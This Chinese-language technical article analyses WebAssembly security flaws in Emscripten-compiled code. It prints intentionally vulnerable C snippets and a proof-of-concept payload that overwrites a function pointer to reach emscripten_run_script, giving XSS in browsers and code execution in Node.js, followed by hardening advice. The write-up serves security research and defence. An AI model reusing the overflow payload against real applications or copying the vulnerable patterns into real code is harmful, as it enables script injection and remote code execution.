WebAssembly的安全性问题--Part 2
字数 2108 2025-08-27 12:33:48
WebAssembly安全漏洞分析与利用技术详解
1. WebAssembly安全概述
WebAssembly(WASM)是一种新的、可移植的、体积小、加载快的二进制格式,旨在成为高级编程语言在Web上的编译目标。虽然WebAssembly设计时考虑了安全性,但仍存在一些独特的安全问题。
1.1 WebAssembly安全特性
- 内存隔离:WASM运行在沙箱环境中,无法直接访问主机系统资源
- 线性内存模型:使用连续的内存区域,与本地程序的虚拟内存不同
- 类型安全:严格的类型检查防止类型混淆攻击
- 控制流完整性:结构化控制流防止任意跳转
1.2 安全边界
- 与JavaScript互操作:通过特定API与JS交互,成为潜在攻击面
- Emscripten工具链:编译器工具链引入的安全考虑
- DOM操作:通过JS间接操作DOM带来的XSS风险
2. WebAssembly特有的攻击面
2.1 缓冲区溢出导致XSS
WebAssembly中的缓冲区溢出与传统环境不同:
extern void bof(char *p1, char *p2){
char bof1[16];
char bof2[16];
strcpy(bof1,p1);
strcpy(bof2,p2);
EM_ASM({
document.getElementById("XXS").innerHTML =(Pointer_stringify($0,$1));
}, bof1,strlen(bof1));
}
攻击原理:
p1是静态字符串,开发者认为安全p2来自用户输入,存在缓冲区溢出漏洞- 溢出覆盖相邻的
bof1缓冲区 - 被污染的
bof1通过EM_ASM注入到DOM中 - 导致跨站脚本攻击(XSS)
2.2 间接函数调用导致XSS
Emscripten提供的JS互操作API可能被滥用:
extern void emscripten_run_script(const char *script);
攻击场景:
- 攻击者控制函数指针
- 覆盖为
emscripten_run_script的地址 - 控制传入参数为恶意JS代码
- 实现任意JS执行
示例攻击代码:
#include <stdint.h>
#include <string.h>
#include <emscripten.h>
typedef struct Comms {
char msg[64];
uint16_t msg_len;
void (*out)(const char *);
} Comms;
void trigger(Comms *comms) {
comms->out(comms->msg);
}
void communicate(const char *msg) {
printf("%s", msg);
}
int main(void) {
Comms comms;
comms.out = &communicate;
char *payload = "alert('XSS')//" // JS payload
" " // padding
"\x40\x00" // msg_len
"\x05\x00\x00\x00"; // overwrite out ptr
memcpy(comms.msg, payload, 72);
trigger(&comms);
return 0;
}
Payload结构:
- JS代码
alert('XSS')// - 填充至64字节的缓冲区
- 2字节的
msg_len(0x0040) - 4字节覆盖函数指针(0x00000005指向
emscripten_run_script)
2.3 服务器端代码执行
在Node.js环境下,同样的技术可导致更严重的RCE:
char *payload = "console.log('Server side code execution!')//"
" "
"\x40\x00"
"\x05\x00\x00\x00";
3. Emscripten危险API
3.1 JS执行相关函数
emscripten_run_script(const char *script)emscripten_run_script_int(const char *script)emscripten_run_script_string(const char *script)emscripten_async_run_script(const char *script, int millis)emscripten_async_load_script(const char *script, em_callback_func onload, em_callback_func onerror)
3.2 内联JS宏
虽然比emscripten_run_script安全,但仍需谨慎:
EM_ASM(alert('Hello, world!'););
预处理后变为:
((void)emscripten_asm_const_int("alert('Hello, world!');"));
JS实现为:
var ASM_CONSTS = [function() { alert('Hello, world!'); }];
function _emscripten_asm_const_i(code) { return ASM_CONSTS[code]();}
4. 默认导入函数分析
Emscripten默认导入的函数包括:
-
系统调用相关:
___syscall6: close___syscall54: ioctl___syscall140: llseek___syscall146: writev
-
内存管理:
enlargeMemory()getTotalMemory()abortOnCannotGrowMemory()
-
其他功能:
___lock()___unlock()_abort()_emscripten_memcpy_big()
5. 安全建议
5.1 对Emscripten开发团队
-
处理用户污染输出:
- 在JS引擎层面检测和编码WASM输出
- 从C/C++引用DOM时发出警告
-
堆加固:
- 替换dlmalloc为更安全的分配器(如PartitionAlloc)
5.2 对WASM开发者
-
遵循安全编码实践:
- 像对待本地代码一样重视WASM安全问题
- 避免不安全的C函数(strcpy等)
-
避免危险API:
- 尽量避免使用
emscripten_run_script - 如必须使用,严格验证输入
- 尽量避免使用
-
编译选项:
- 使用Clang CFI:
-fsanitize=cfi - 启用优化移除危险功能
- 使用Clang CFI:
5.3 未来研究方向
-
堆实现分析:
- 研究堆元数据损坏、UAF、double free等漏洞
-
侧信道攻击:
- 研究WASM中的时序攻击可能性
-
并发问题:
- 研究竞争条件、TOCTOU等并发漏洞
-
控制流完整性:
- 研究WASM特有的CFI绕过技术
6. 总结
WebAssembly虽然提供了内存安全的设计,但通过Emscripten工具链与JavaScript的交互引入了新的攻击面。开发者需要特别注意:
- 缓冲区溢出可能导致XSS而非传统的内存破坏
- 函数指针覆盖可被用于调用危险的JS互操作函数
- 同样的技术在服务器端(Node.js)可导致RCE
- 避免使用危险的
emscripten_run_script等API - 启用编译时安全选项增强防护
随着WebAssembly的普及,对其安全模型的深入理解和安全编码实践将变得愈发重要。